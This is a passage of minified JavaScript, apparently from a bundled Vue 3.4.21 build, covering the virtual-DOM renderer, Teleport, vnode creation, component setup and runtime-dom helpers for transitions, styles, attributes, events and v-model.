Ze=se[Ne],Q=ue[Se]=be?Us(ue[Se]):Ai(ue[Se]);if(Va(Ze,Q))v(Ze,Q,ve,null,me,Ee,Le,Ae,be);else break;Ne--,Se--}if(xe>Ne){if(xe<=Se){const Ze=Se+1,Q=Ze<Re?ue[Ze].el:ke;for(;xe<=Se;)v(null,ue[xe]=be?Us(ue[xe]):Ai(ue[xe]),ve,Q,me,Ee,Le,Ae,be),xe++}}else if(xe>Se)for(;xe<=Ne;)y(se[xe],me,Ee,!0),xe++;else{const Ze=xe,Q=xe,J=new Map;for(xe=Q;xe<=Se;xe++){const ee=ue[xe]=be?Us(ue[xe]):Ai(ue[xe]);ee.key!=null&&J.set(ee.key,xe)}let V,G=0;const O=Se-Q+1;let Z=!1,Y=0;const $=new Array(O);for(xe=0;xe<O;xe++)$[xe]=0;for(xe=Ze;xe<=Ne;xe++){const ee=se[xe];if(G>=O){y(ee,me,Ee,!0);continue}let ze;if(ee.key!=null)ze=J.get(ee.key);else for(V=Q;V<=Se;V++)if($[V-Q]===0&&Va(ee,ue[V])){ze=V;break}ze===void 0?y(ee,me,Ee,!0):($[ze-Q]=xe+1,ze>=Y?Y=ze:Z=!0,v(ee,ue[ze],ve,null,me,Ee,Le,Ae,be),G++)}const oe=Z?Pz($):Au;for(V=oe.length-1,xe=O-1;xe>=0;xe--){const ee=Q+xe,ze=ue[ee],Te=ee+1<Re?ue[ee+1].el:ke;$[xe]===0?v(null,ze,ve,Te,me,Ee,Le,Ae,be):Z&&(V<0||xe!==oe[V]?k(ze,ve,Te,2):V--)}}},k=(se,ue,ve,ke,me=null)=>{const{el:Ee,type:Le,transition:Ae,children:be,shapeFlag:xe}=se;if(xe&6){k(se.component.subTree,ue,ve,ke);return}if(xe&128){se.suspense.move(ue,ve,ke);return}if(xe&64){Le.move(se,ue,ve,Ie);return}if(Le===Qe){r(Ee,ue,ve);for(let Ne=0;Ne<be.length;Ne++)k(be[Ne],ue,ve,ke);r(se.anchor,ue,ve);return}if(Le===hh){E(se,ue,ve);return}if(ke!==2&&xe&1&&Ae)if(ke===0)Ae.beforeEnter(Ee),r(Ee,ue,ve),ro(()=>Ae.enter(Ee),me);else{const{leave:Ne,delayLeave:Se,afterLeave:Ze}=Ae,Q=()=>r(Ee,ue,ve),J=()=>{Ne(Ee,()=>{Q(),Ze&&Ze()})};Se?Se(Ee,Q,J):J()}else r(Ee,ue,ve)},y=(se,ue,ve,ke=!1,me=!1)=>{const{type:Ee,props:Le,ref:Ae,children:be,dynamicChildren:xe,shapeFlag:Re,patchFlag:Ne,dirs:Se}=se;if(Ae!=null&&$0(Ae,null,ve,se,!0),Re&256){ue.ctx.deactivate(se);return}const Ze=Re&1&&Se,Q=!Hc(se);let J;if(Q&&(J=Le&&Le.onVnodeBeforeUnmount)&&bi(J,ue,se),Re&6)le(se.component,ve,ke);else{if(Re&128){se.suspense.unmount(ve,ke);return}Ze&&La(se,null,ue,"beforeUnmount"),Re&64?se.type.remove(se,ue,ve,me,Ie,ke):xe&&(Ee!==Qe||Ne>0&&Ne&64)?re(xe,ue,ve,!1,!0):(Ee===Qe&&Ne&384||!me&&Re&16)&&re(be,ue,ve),ke&&T(se)}(Q&&(J=Le&&Le.onVnodeUnmounted)||Ze)&&ro(()=>{J&&bi(J,ue,se),Ze&&La(se,null,ue,"unmounted")},ve)},T=se=>{const{type:ue,el:ve,anchor:ke,transition:me}=se;if(ue===Qe){te(ve,ke);return}if(ue===hh){x(se);return}const Ee=()=>{o(ve),me&&!me.persisted&&me.afterLeave&&me.afterLeave()};if(se.shapeFlag&1&&me&&!me.persisted){const{leave:Le,delayLeave:Ae}=me,be=()=>Le(ve,Ee);Ae?Ae(se.el,Ee,be):be()}else Ee()},te=(se,ue)=>{let ve;for(;se!==ue;)ve=p(se),o(se),se=ve;o(ue)},le=(se,ue,ve)=>{const{bum:ke,scope:me,update:Ee,subTree:Le,um:Ae}=se;ke&&dh(ke),me.stop(),Ee&&(Ee.active=!1,y(Le,se,ue,ve)),Ae&&ro(Ae,ue),ro(()=>{se.isUnmounted=!0},ue),ue&&ue.pendingBranch&&!ue.isUnmounted&&se.asyncDep&&!se.asyncResolved&&se.suspenseId===ue.pendingId&&(ue.deps--,ue.deps===0&&ue.resolve())},re=(se,ue,ve,ke=!1,me=!1,Ee=0)=>{for(let Le=Ee;Le<se.length;Le++)y(se[Le],ue,ve,ke,me)},de=se=>se.shapeFlag&6?de(se.component.subTree):se.shapeFlag&128?se.suspense.next():p(se.anchor||se.el);let ce=!1;const we=(se,ue,ve)=>{se==null?ue._vnode&&y(ue._vnode,null,null,!0):v(ue._vnode||null,se,ue,null,null,null,ve),ce||(ce=!0,pq(),$E(),ce=!1),ue._vnode=se},Ie={p:v,um:y,m:k,r:T,mt:h,mc:j,pc:C,pbc:P,n:de,o:e};let ge,Me;return t&&([ge,Me]=t(Ie)),{render:we,hydrate:ge,createApp:jz(we,ge)}}function cv({type:e,props:t},n){return n==="svg"&&e==="foreignObject"||n==="mathml"&&e==="annotation-xml"&&t&&t.encoding&&t.encoding.includes("html")?void 0:n}function Za({effect:e,update:t},n){e.allowRecurse=t.allowRecurse=n}function Hz(e,t){return(!e||e&&!e.pendingBranch)&&t&&!t.persisted}function Ab(e,t,n=!1){const r=e.children,o=t.children;if(Ve(r)&&Ve(o))for(let i=0;i<r.length;i++){const s=r[i];let a=o[i];a.shapeFlag&1&&!a.dynamicChildren&&((a.patchFlag<=0||a.patchFlag===32)&&(a=o[i]=Us(o[i]),a.el=s.el),n||Ab(s,a)),a.type===cc&&(a.el=s.el)}}function Pz(e){const t=e.slice(),n=[0];let r,o,i,s,a;const l=e.length;for(r=0;r<l;r++){const u=e[r];if(u!==0){if(o=n[n.length-1],e[o]<u){t[r]=o,n.push(r);continue}for(i=0,s=n.length-1;i<s;)a=i+s>>1,e[n[a]]<u?i=a+1:s=a;u<e[n[i]]&&(i>0&&(t[r]=n[i-1]),n[i]=r)}}for(i=n.length,s=n[i-1];i-- >0;)n[i]=s,s=t[s];return n}function qA(e){const t=e.subTree.component;if(t)return t.asyncDep&&!t.asyncResolved?t:qA(t)}const Dz=e=>e.__isTeleport,Dc=e=>e&&(e.disabled||e.disabled===""),Mq=e=>typeof SVGElement<"u"&&e instanceof SVGElement,Cq=e=>typeof MathMLElement=="function"&&e instanceof MathMLElement,eg=(e,t)=>{const n=e&&e.to;return st(n)?t?t(n):null:n},Xz={name:"Teleport",__isTeleport:!0,process(e,t,n,r,o,i,s,a,l,u){const{mc:c,pc:f,pbc:p,o:{insert:m,querySelector:g,createText:v,createComment:I}}=u,q=Dc(t.props);let{shapeFlag:M,children:E,dynamicChildren:x}=t;if(e==null){const R=t.el=v(""),K=t.anchor=v("");m(R,n,r),m(K,n,r);const W=t.target=eg(t.props,g),j=t.targetAnchor=v("");W&&(m(j,W),s==="svg"||Mq(W)?s="svg":(s==="mathml"||Cq(W))&&(s="mathml"));const H=(P,U)=>{M&16&&c(E,P,U,o,i,s,a,l)};q?H(n,K):W&&H(W,j)}else{t.el=e.el;const R=t.anchor=e.anchor,K=t.target=e.target,W=t.targetAnchor=e.targetAnchor,j=Dc(e.props),H=j?n:K,P=j?R:W;if(s==="svg"||Mq(K)?s="svg":(s==="mathml"||Cq(K))&&(s="mathml"),x?(p(e.dynamicChildren,x,H,o,i,s,a),Ab(e,t,!0)):l||f(e,t,H,P,o,i,s,a,!1),q)j?t.props&&e.props&&t.props.to!==e.props.to&&(t.props.to=e.props.to):Cf(t,n,R,u,1);else if((t.props&&t.props.to)!==(e.props&&e.props.to)){const U=t.target=eg(t.props,g);U&&Cf(t,U,null,u,0)}else j&&Cf(t,K,W,u,1)}wA(t)},remove(e,t,n,r,{um:o,o:{remove:i}},s){const{shapeFlag:a,children:l,anchor:u,targetAnchor:c,target:f,props:p}=e;if(f&&i(c),s&&i(u),a&16){const m=s||!Dc(p);for(let g=0;g<l.length;g++){const v=l[g];o(v,t,n,m,!!v.dynamicChildren)}}},move:Cf,hydrate:Qz};function Cf(e,t,n,{o:{insert:r},m:o},i=2){i===0&&r(e.targetAnchor,t,n);const{el:s,anchor:a,shapeFlag:l,children:u,props:c}=e,f=i===2;if(f&&r(s,t,n),(!f||Dc(c))&&l&16)for(let p=0;p<u.length;p++)o(u[p],t,n,2);f&&r(a,t,n)}function Qz(e,t,n,r,o,i,{o:{nextSibling:s,parentNode:a,querySelector:l}},u){const c=t.target=eg(t.props,l);if(c){const f=c._lpa||c.firstChild;if(t.shapeFlag&16)if(Dc(t.props))t.anchor=u(s(e),t,a(e),n,r,o,i),t.targetAnchor=f;else{t.anchor=s(e);let p=f;for(;p;)if(p=s(p),p&&p.nodeType===8&&p.data==="teleport anchor"){t.targetAnchor=p,c._lpa=t.targetAnchor&&s(t.targetAnchor);break}u(f,t,c,n,r,o,i)}wA(t)}return t.anchor&&s(t.anchor)}const jl=Xz;function wA(e){const t=e.ctx;if(t&&t.ut){let n=e.children[0].el;for(;n&&n!==e.targetAnchor;)n.nodeType===1&&n.setAttribute("data-v-owner",t.uid),n=n.nextSibling;t.ut()}}const Qe=Symbol.for("v-fgt"),cc=Symbol.for("v-txt"),Dr=Symbol.for("v-cmt"),hh=Symbol.for("v-stc"),Xc=[];let ii=null;function B(e=!1){Xc.push(ii=e?null:[])}function _z(){Xc.pop(),ii=Xc[Xc.length-1]||null}let bd=1;function kq(e){bd+=e}function SA(e){return e.dynamicChildren=bd>0?ii||Au:null,_z(),bd>0&&ii&&ii.push(e),e}function _(e,t,n,r,o,i){return SA(ne(e,t,n,r,o,i,!0))}function ye(e,t,n,r,o){return SA(ae(e,t,n,r,o,!0))}function En(e){return e?e.__v_isVNode===!0:!1}function Va(e,t){return e.type===t.type&&e.key===t.key}const rm="__vInternal",EA=({key:e})=>e??null,ph=({ref:e,ref_key:t,ref_for:n})=>(typeof e=="number"&&(e=""+e),e!=null?st(e)||mn(e)||ot(e)?{i:ir,r:e,k:t,f:!!n}:e:null);function ne(e,t=null,n=null,r=0,o=null,i=e===Qe?0:1,s=!1,a=!1){const l={__v_isVNode:!0,__v_skip:!0,type:e,props:t,key:t&&EA(t),ref:t&&ph(t),scopeId:_p,slotScopeIds:null,children:n,component:null,suspense:null,ssContent:null,ssFallback:null,dirs:null,transition:null,el:null,anchor:null,target:null,targetAnchor:null,staticCount:0,shapeFlag:i,patchFlag:r,dynamicProps:o,dynamicChildren:null,appContext:null,ctx:ir};return a?(Mb(l,n),i&128&&e.normalize(l)):n&&(l.shapeFlag|=st(n)?8:16),bd>0&&!s&&ii&&(l.patchFlag>0||i&6)&&l.patchFlag!==32&&ii.push(l),l}const ae=$z;function $z(e,t=null,n=null,r=0,o=null,i=!1){if((!e||e===oA)&&(e=Dr),En(e)){const a=vs(e,t,!0);return n&&Mb(a,n),bd>0&&!i&&ii&&(a.shapeFlag&6?ii[ii.indexOf(e)]=a:ii.push(a)),a.patchFlag|=-2,a}if(lK(e)&&(e=e.__vccOpts),t){t=kr(t);let{class:a,style:l}=t;a&&!st(a)&&(t.class=F(a)),At(l)&&(VE(l)&&!Ve(l)&&(l=sr({},l)),t.style=De(l))}const s=st(e)?1:gz(e)?128:Dz(e)?64:At(e)?4:ot(e)?2:0;return ne(e,t,n,r,o,s,i,!0)}function kr(e){return e?VE(e)||rm in e?sr({},e):e:null}function vs(e,t,n=!1){const{props:r,ref:o,patchFlag:i,children:s}=e,a=t?xt(r||{},t):r;return{__v_isVNode:!0,__v_skip:!0,type:e.type,props:a,key:a&&EA(a),ref:t&&t.ref?n&&o?Ve(o)?o.concat(ph(t)):[o,ph(t)]:ph(t):o,scopeId:e.scopeId,slotScopeIds:e.slotScopeIds,children:s,target:e.target,targetAnchor:e.targetAnchor,staticCount:e.staticCount,shapeFlag:e.shapeFlag,patchFlag:t&&e.type!==Qe?i===-1?16:i|16:i,dynamicProps:e.dynamicProps,dynamicChildren:e.dynamicChildren,appContext:e.appContext,dirs:e.dirs,transition:e.transition,component:e.component,suspense:e.suspense,ssContent:e.ssContent&&vs(e.ssContent),ssFallback:e.ssFallback&&vs(e.ssFallback),el:e.el,anchor:e.anchor,ctx:e.ctx,ce:e.ce}}function Kt(e=" ",t=0){return ae(cc,null,e,t)}function eK(e,t){const n=ae(hh,null,e);return n.staticCount=t,n}function pe(e="",t=!1){return t?(B(),ye(Dr,null,e)):ae(Dr,null,e)}function Ai(e){return e==null||typeof e=="boolean"?ae(Dr):Ve(e)?ae(Qe,null,e.slice()):typeof e=="object"?Us(e):ae(cc,null,String(e))}function Us(e){return e.el===null&&e.patchFlag!==-1||e.memo?e:vs(e)}function Mb(e,t){let n=0;const{shapeFlag:r}=e;if(t==null)t=null;else if(Ve(t))n=16;else if(typeof t=="object")if(r&65){const o=t.default;o&&(o._c&&(o._d=!1),Mb(e,o()),o._c&&(o._d=!0));return}else{n=32;const o=t._;!o&&!(rm in t)?t._ctx=ir:o===3&&ir&&(ir.slots._===1?t._=1:(t._=2,e.patchFlag|=1024))}else ot(t)?(t={default:t,_ctx:ir},n=32):(t=String(t),r&64?(n=16,t=[Kt(t)]):n=8);e.children=t,e.shapeFlag|=n}function xt(...e){const t={};for(let n=0;n<e.length;n++){const r=e[n];for(const o in r)if(o==="class")t.class!==r.class&&(t.class=F([t.class,r.class]));else if(o==="style")t.style=De([t.style,r.style]);else if(Fp(o)){const i=t[o],s=r[o];s&&i!==s&&!(Ve(i)&&i.includes(s))&&(t[o]=i?[].concat(i,s):s)}else o!==""&&(t[o]=r[o])}return t}function bi(e,t,n,r=null){Wo(e,t,7,[n,r])}const tK=mA();let nK=0;function rK(e,t,n){const r=e.type,o=(t?t.appContext:e.appContext)||tK,i={uid:nK++,vnode:e,type:r,parent:t,appContext:o,root:null,next:null,subTree:null,effect:null,update:null,scope:new zE(!0),render:null,proxy:null,exposed:null,exposeProxy:null,withProxy:null,provides:t?t.provides:Object.create(o.provides),accessCache:null,renderCache:[],components:null,directives:null,propsOptions:gA(r,o),emitsOptions:tA(r,o),emit:null,emitted:null,propsDefaults:Zn,inheritAttrs:r.inheritAttrs,ctx:Zn,data:Zn,props:Zn,attrs:Zn,slots:Zn,refs:Zn,setupState:Zn,setupContext:null,attrsProxy:null,slotsProxy:null,suspense:n,suspenseId:n?n.pendingId:0,asyncDep:null,asyncResolved:!1,isMounted:!1,isUnmounted:!1,isDeactivated:!1,bc:null,c:null,bm:null,m:null,bu:null,u:null,um:null,bum:null,da:null,a:null,rtg:null,rtc:null,ec:null,sp:null};return i.ctx={_:i},i.root=t?t.root:i,i.emit=dz.bind(null,i),e.ce&&e.ce(i),i}let br=null;const bt=()=>br||ir;let up,tg;{const e=CE(),t=(n,r)=>{let o;return(o=e[n])||(o=e[n]=[]),o.push(r),i=>{o.length>1?o.forEach(s=>s(i)):o[0](i)}};up=t("__VUE_INSTANCE_SETTERS__",n=>br=n),tg=t("__VUE_SSR_SETTERS__",n=>om=n)}const Dd=e=>{const t=br;return up(e),e.scope.on(),()=>{e.scope.off(),up(t)}},xq=()=>{br&&br.scope.off(),up(null)};function AA(e){return e.vnode.shapeFlag&4}let om=!1;function oK(e,t=!1){t&&tg(t);const{props:n,children:r}=e.vnode,o=AA(e);Gz(e,n,o,t),Jz(e,r);const i=o?iK(e,t):void 0;return t&&tg(!1),i}function iK(e,t){const n=e.type;e.accessCache=Object.create(null),e.proxy=fs(new Proxy(e.ctx,zz));const{setup:r}=n;if(r){const o=e.setupContext=r.length>1?CA(e):null,i=Dd(e);Ll();const s=ra(r,e,0,[e.props,o]);if(Zl(),i(),hd(s)){if(s.then(xq,xq),t)return s.then(a=>{Oq(e,a,t)}).catch(a=>{Xp(a,e,0)});e.asyncDep=s}else Oq(e,s,t)}else MA(e,t)}function Oq(e,t,n){ot(t)?e.type.__ssrInlineRender?e.ssrRender=t:e.render=t:At(t)&&(e.setupState=DE(t)),MA(e,n)}let zq;function MA(e,t,n){const r=e.type;if(!e.render){if(!t&&zq&&!r.render){const o=r.template||Sb(e).template;if(o){const{isCustomElement:i,compilerOptions:s}=e.appContext.config,{delimiters:a,compilerOptions:l}=r,u=sr(sr({isCustomElement:i,delimiters:a},s),l);r.render=zq(o,u)}}e.render=r.render||on}{const o=Dd(e);Ll();try{Kz(e)}finally{Zl(),o()}}}function sK(e){return e.attrsProxy||(e.attrsProxy=new Proxy(e.attrs,{get(t,n){return lo(e,"get","$attrs"),t[n]}}))}function CA(e){const t=n=>{e.exposed=n||{}};return{get attrs(){return sK(e)},slots:e.slots,emit:e.emit,expose:t}}function im(e){if(e.exposed)return e.exposeProxy||(e.exposeProxy=new Proxy(DE(fs(e.exposed)),{get(t,n){if(n in t)return t[n];if(n in Pc)return Pc[n](e)},has(t,n){return n in t||n in Pc}}))}function aK(e,t=!0){return ot(e)?e.displayName||e.name:e.name||t&&e.__name}function lK(e){return ot(e)&&"__vccOpts"in e}const N=(e,t)=>FE(e,t,om);function tt(e,t,n){const r=arguments.length;return r===2?At(t)&&!Ve(t)?En(t)?ae(e,null,[t]):ae(e,t):ae(e,null,t):(r>3?n=Array.prototype.slice.call(arguments,2):r===3&&En(n)&&(n=[n]),ae(e,t,n))}const uK="3.4.21",cK=on;/**
* @vue/runtime-dom v3.4.21
* (c) 2018-present Yuxi (Evan) You and Vue contributors
* @license MIT
**/const dK="http://www.w3.org/2000/svg",fK="http://www.w3.org/1998/Math/MathML",Fs=typeof document<"u"?document:null,Kq=Fs&&Fs.createElement("template"),hK={insert:(e,t,n)=>{t.insertBefore(e,n||null)},remove:e=>{const t=e.parentNode;t&&t.removeChild(e)},createElement:(e,t,n,r)=>{const o=t==="svg"?Fs.createElementNS(dK,e):t==="mathml"?Fs.createElementNS(fK,e):Fs.createElement(e,n?{is:n}:void 0);return e==="select"&&r&&r.multiple!=null&&o.setAttribute("multiple",r.multiple),o},createText:e=>Fs.createTextNode(e),createComment:e=>Fs.createComment(e),setText:(e,t)=>{e.nodeValue=t},setElementText:(e,t)=>{e.textContent=t},parentNode:e=>e.parentNode,nextSibling:e=>e.nextSibling,querySelector:e=>Fs.querySelector(e),setScopeId(e,t){e.setAttribute(t,"")},insertStaticContent(e,t,n,r,o,i){const s=n?n.previousSibling:t.lastChild;if(o&&(o===i||o.nextSibling))for(;t.insertBefore(o.cloneNode(!0),n),!(o===i||!(o=o.nextSibling)););else{Kq.innerHTML=r==="svg"?`<svg>${e}</svg>`:r==="mathml"?`<math>${e}</math>`:e;const a=Kq.content;if(r==="svg"||r==="mathml"){const l=a.firstChild;for(;l.firstChild;)a.appendChild(l.firstChild);a.removeChild(l)}t.insertBefore(a,n)}return[s?s.nextSibling:t.firstChild,n?n.previousSibling:t.lastChild]}},xs="transition",Mc="animation",Bu=Symbol("_vtc"),Hn=(e,{slots:t})=>tt(Sz,xA(e),t);Hn.displayName="Transition";const kA={name:String,type:String,css:{type:Boolean,default:!0},duration:[String,Number,Object],enterFromClass:String,enterActiveClass:String,enterToClass:String,appearFromClass:String,appearActiveClass:String,appearToClass:String,leaveFromClass:String,leaveActiveClass:String,leaveToClass:String},pK=Hn.props=sr({},aA,kA),Ta=(e,t=[])=>{Ve(e)?e.forEach(n=>n(...t)):e&&e(...t)},Rq=e=>e?Ve(e)?e.some(t=>t.length>1):e.length>1:!1;function xA(e){const t={};for(const X in e)X in kA||(t[X]=e[X]);if(e.css===!1)return t;const{name:n="v",type:r,duration:o,enterFromClass:i=`${n}-enter-from`,enterActiveClass:s=`${n}-enter-active`,enterToClass:a=`${n}-enter-to`,appearFromClass:l=i,appearActiveClass:u=s,appearToClass:c=a,leaveFromClass:f=`${n}-leave-from`,leaveActiveClass:p=`${n}-leave-active`,leaveToClass:m=`${n}-leave-to`}=e,g=mK(o),v=g&&g[0],I=g&&g[1],{onBeforeEnter:q,onEnter:M,onEnterCancelled:E,onLeave:x,onLeaveCancelled:R,onBeforeAppear:K=q,onAppear:W=M,onAppearCancelled:j=E}=t,H=(X,L,h)=>{js(X,L?c:a),js(X,L?u:s),h&&h()},P=(X,L)=>{X._isLeaving=!1,js(X,f),js(X,m),js(X,p),L&&L()},U=X=>(L,h)=>{const b=X?W:M,w=()=>H(L,X,h);Ta(b,[L,w]),Lq(()=>{js(L,X?l:i),$i(L,X?c:a),Rq(b)||Zq(L,r,v,w)})};return sr(t,{onBeforeEnter(X){Ta(q,[X]),$i(X,i),$i(X,s)},onBeforeAppear(X){Ta(K,[X]),$i(X,l),$i(X,u)},onEnter:U(!1),onAppear:U(!0),onLeave(X,L){X._isLeaving=!0;const h=()=>P(X,L);$i(X,f),zA(),$i(X,p),Lq(()=>{X._isLeaving&&(js(X,f),$i(X,m),Rq(x)||Zq(X,r,I,h))}),Ta(x,[X,h])},onEnterCancelled(X){H(X,!1),Ta(E,[X])},onAppearCancelled(X){H(X,!0),Ta(j,[X])},onLeaveCancelled(X){P(X),Ta(R,[X])}})}function mK(e){if(e==null)return null;if(At(e))return[dv(e.enter),dv(e.leave)];{const t=dv(e);return[t,t]}}function dv(e){return CO(e)}function $i(e,t){t.split(/\s+/).forEach(n=>n&&e.classList.add(n)),(e[Bu]||(e[Bu]=new Set)).add(t)}function js(e,t){t.split(/\s+/).forEach(r=>r&&e.classList.remove(r));const n=e[Bu];n&&(n.delete(t),n.size||(e[Bu]=void 0))}function Lq(e){requestAnimationFrame(()=>{requestAnimationFrame(e)})}let vK=0;function Zq(e,t,n,r){const o=e._endId=++vK,i=()=>{o===e._endId&&r()};if(n)return setTimeout(i,n);const{type:s,timeout:a,propCount:l}=OA(e,t);if(!s)return r();const u=s+"end";let c=0;const f=()=>{e.removeEventListener(u,p),i()},p=m=>{m.target===e&&++c>=l&&f()};setTimeout(()=>{c<l&&f()},a+1),e.addEventListener(u,p)}function OA(e,t){const n=window.getComputedStyle(e),r=g=>(n[g]||"").split(", "),o=r(`${xs}Delay`),i=r(`${xs}Duration`),s=Tq(o,i),a=r(`${Mc}Delay`),l=r(`${Mc}Duration`),u=Tq(a,l);let c=null,f=0,p=0;t===xs?s>0&&(c=xs,f=s,p=i.length):t===Mc?u>0&&(c=Mc,f=u,p=l.length):(f=Math.max(s,u),c=f>0?s>u?xs:Mc:null,p=c?c===xs?i.length:l.length:0);const m=c===xs&&/\b(transform|all)(,|$)/.test(r(`${xs}Property`).toString());return{type:c,timeout:f,propCount:p,hasTransform:m}}function Tq(e,t){for(;e.length<t.length;)e=e.concat(e);return Math.max(...t.map((n,r)=>Nq(n)+Nq(e[r])))}function Nq(e){return e==="auto"?0:Number(e.slice(0,-1).replace(",","."))*1e3}function zA(){return document.body.offsetHeight}function gK(e,t,n){const r=e[Bu];r&&(t=(t?[t,...r]:[...r]).join(" ")),t==null?e.removeAttribute("class"):n?e.setAttribute("class",t):e.className=t}const cp=Symbol("_vod"),KA=Symbol("_vsh"),_t={beforeMount(e,{value:t},{transition:n}){e[cp]=e.style.display==="none"?"":e.style.display,n&&t?n.beforeEnter(e):Cc(e,t)},mounted(e,{value:t},{transition:n}){n&&t&&n.enter(e)},updated(e,{value:t,oldValue:n},{transition:r}){!t!=!n&&(r?t?(r.beforeEnter(e),Cc(e,!0),r.enter(e)):r.leave(e,()=>{Cc(e,!1)}):Cc(e,t))},beforeUnmount(e,{value:t}){Cc(e,t)}};function Cc(e,t){e.style.display=t?e[cp]:"none",e[KA]=!t}const yK=Symbol(""),bK=/(^|;)\s*display\s*:/;function IK(e,t,n){const r=e.style,o=st(n);let i=!1;if(n&&!o){if(t)if(st(t))for(const s of t.split(";")){const a=s.slice(0,s.indexOf(":")).trim();n[a]==null&&mh(r,a,"")}else for(const s in t)n[s]==null&&mh(r,s,"");for(const s in n)s==="display"&&(i=!0),mh(r,s,n[s])}else if(o){if(t!==n){const s=r[yK];s&&(n+=";"+s),r.cssText=n,i=bK.test(n)}}else t&&e.removeAttribute("style");cp in e&&(e[cp]=i?r.display:"",e[KA]&&(r.display="none"))}const jq=/\s*!important$/;function mh(e,t,n){if(Ve(n))n.forEach(r=>mh(e,t,r));else if(n==null&&(n=""),t.startsWith("--"))e.setProperty(t,n);else{const r=qK(e,t);jq.test(n)?e.setProperty(ba(r),n.replace(jq,""),"important"):e[r]=n}}const Wq=["Webkit","Moz","ms"],fv={};function qK(e,t){const n=fv[t];if(n)return n;let r=Jo(t);if(r!=="filter"&&r in e)return fv[t]=r;r=Pd(r);for(let o=0;o<Wq.length;o++){const i=Wq[o]+r;if(i in e)return fv[t]=i}return t}const Gq="http://www.w3.org/1999/xlink";function wK(e,t,n,r,o){if(r&&t.startsWith("xlink:"))n==null?e.removeAttributeNS(Gq,t.slice(6,t.length)):e.setAttributeNS(Gq,t,n);else{const i=RO(t);n==null||i&&!kE(n)?e.removeAttribute(t):e.setAttribute(t,i?"":n)}}function SK(e,t,n,r,o,i,s){if(t==="innerHTML"||t==="textContent"){r&&s(r,o,i),e[t]=n??"";return}const a=e.tagName;if(t==="value"&&a!=="PROGRESS"&&!a.includes("-")){const u=a==="OPTION"?e.getAttribute("value")||"":e.value,c=n??"";(u!==c||!("_value"in e))&&(e.value=c),n==null&&e.removeAttribute(t),e._value=n;return}let l=!1;if(n===""||n==null){const u=typeof e[t];u==="boolean"?n=kE(n):n==null&&u==="string"?(n="",l=!0):u==="number"&&(n=0,l=!0)}try{e[t]=n}catch{}l&&e.removeAttribute(t)}function Ps(e,t,n,r){e.addEventListener(t,n,r)}function EK(e,t,n,r){e.removeEventListener(t,n,r)}const Yq=Symbol("_vei");function AK(e,t,n,r,o=null){const i=e[Yq]||(e[Yq]={}),s=i[t];if(r&&s)s.value=r;else{const[a,l]=MK(t);if(r){const u=i[t]=xK(r,o);Ps(e,a,u,l)}else s&&(EK(e,a,s,l),i[t]=void 0)}}const Bq=/(?:Once|Passive|Capture)$/;function MK(e){let t;if(Bq.test(e)){t={};let r;for(;r=e.match(Bq);)e=e.slice(0,e.length-r[0].length),t[r[0].toLowerCase()]=!0}return[e[2]===":"?e.slice(3):ba(e.slice(2)),t]}let hv=0;const CK=Promise.resolve(),kK=()=>hv||(CK.then(()=>hv=0),hv=Date.now());function xK(e,t){const n=r=>{if(!r._vts)r._vts=Date.now();else if(r._vts<=n.attached)return;Wo(OK(r,n.value),t,5,[r])};return n.value=e,n.attached=kK(),n}function OK(e,t){if(Ve(t)){const n=e.stopImmediatePropagation;return e.stopImmediatePropagation=()=>{n.call(e),e._stopped=!0},t.map(r=>o=>!o._stopped&&r&&r(o))}else return t}const Jq=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&e.charCodeAt(2)>96&&e.charCodeAt(2)<123,zK=(e,t,n,r,o,i,s,a,l)=>{const u=o==="svg";t==="class"?gK(e,r,u):t==="style"?IK(e,n,r):Fp(t)?ob(t)||AK(e,t,n,r,s):(t[0]==="."?(t=t.slice(1),!0):t[0]==="^"?(t=t.slice(1),!1):KK(e,t,r,u))?SK(e,t,r,i,s,a,l):(t==="true-value"?e._trueValue=r:t==="false-value"&&(e._falseValue=r),wK(e,t,r,u))};function KK(e,t,n,r){if(r)return!!(t==="innerHTML"||t==="textContent"||t in e&&Jq(t)&&ot(n));if(t==="spellcheck"||t==="draggable"||t==="translate"||t==="form"||t==="list"&&e.tagName==="INPUT"||t==="type"&&e.tagName==="TEXTAREA")return!1;if(t==="width"||t==="height"){const o=e.tagName;if(o==="IMG"||o==="VIDEO"||o==="CANVAS"||o==="SOURCE")return!1}return Jq(t)&&st(n)?!1:t in e}const RA=new WeakMap,LA=new WeakMap,dp=Symbol("_moveCb"),Vq=Symbol("_enterCb"),ZA={name:"TransitionGroup",props:sr({},pK,{tag:String,moveClass:String}),setup(e,{slots:t}){const n=bt(),r=sA();let o,i;return ws(()=>{if(!o.length)return;const s=e.moveClass||`${e.name||"v"}-move`;if(!NK(o[0].el,n.vnode.el,s))return;o.forEach(LK),o.forEach(ZK);const a=o.filter(TK);zA(),a.forEach(l=>{const u=l.el,c=u.style;$i(u,s),c.transform=c.webkitTransform=c.transitionDuration="";const f=u[dp]=p=>{p&&p.target!==u||(!p||/transform$/.test(p.propertyName))&&(u.removeEventListener("transitionend",f),u[dp]=null,js(u,s))};u.addEventListener("transitionend",f)})}),()=>{const s=rn(e),a=xA(s);let l=s.tag||Qe;o=i,i=t.default?wb(t.default()):[];for(let u=0;u<i.length;u++){const c=i[u];c.key!=null&&yd(c,gd(c,a,r,n))}if(o)for(let u=0;u<o.length;u++){const c=o[u];yd(c,gd(c,a,r,n)),RA.set(c,c.el.getBoundingClientRect())}return ae(l,null,i)}}},RK=e=>delete e.mode;ZA.props;const TA=ZA;function LK(e){const t=e.el;t[dp]&&t[dp](),t[Vq]&&t[Vq]()}function ZK(e){LA.set(e,e.el.getBoundingClientRect())}function TK(e){const t=RA.get(e),n=LA.get(e),r=t.left-n.left,o=t.top-n.top;if(r||o){const i=e.el.style;return i.transform=i.webkitTransform=`translate(${r}px,${o}px)`,i.transitionDuration="0s",e}}function NK(e,t,n){const r=e.cloneNode(),o=e[Bu];o&&o.forEach(a=>{a.split(/\s+/).forEach(l=>l&&r.classList.remove(l))}),n.split(/\s+/).forEach(a=>a&&r.classList.add(a)),r.style.display="none";const i=t.nodeType===1?t:t.parentNode;i.appendChild(r);const{hasTransform:s}=OA(r);return i.removeChild(r),s}const Ju=e=>{const t=e.props["onUpdate:modelValue"]||!1;return Ve(t)?n=>dh(t,n):t};function jK(e){e.target.composing=!0}function Uq(e){const t=e.target;t.composing&&(t.composing=!1,t.dispatchEvent(new Event("input")))}const hs=Symbol("_assign"),Cb={created(e,{modifiers:{lazy:t,trim:n,number:r}},o){e[hs]=Ju(o);const i=r||o.props&&o.props.type==="number";Ps(e,t?"change":"input",s=>{if(s.target.composing)return;let 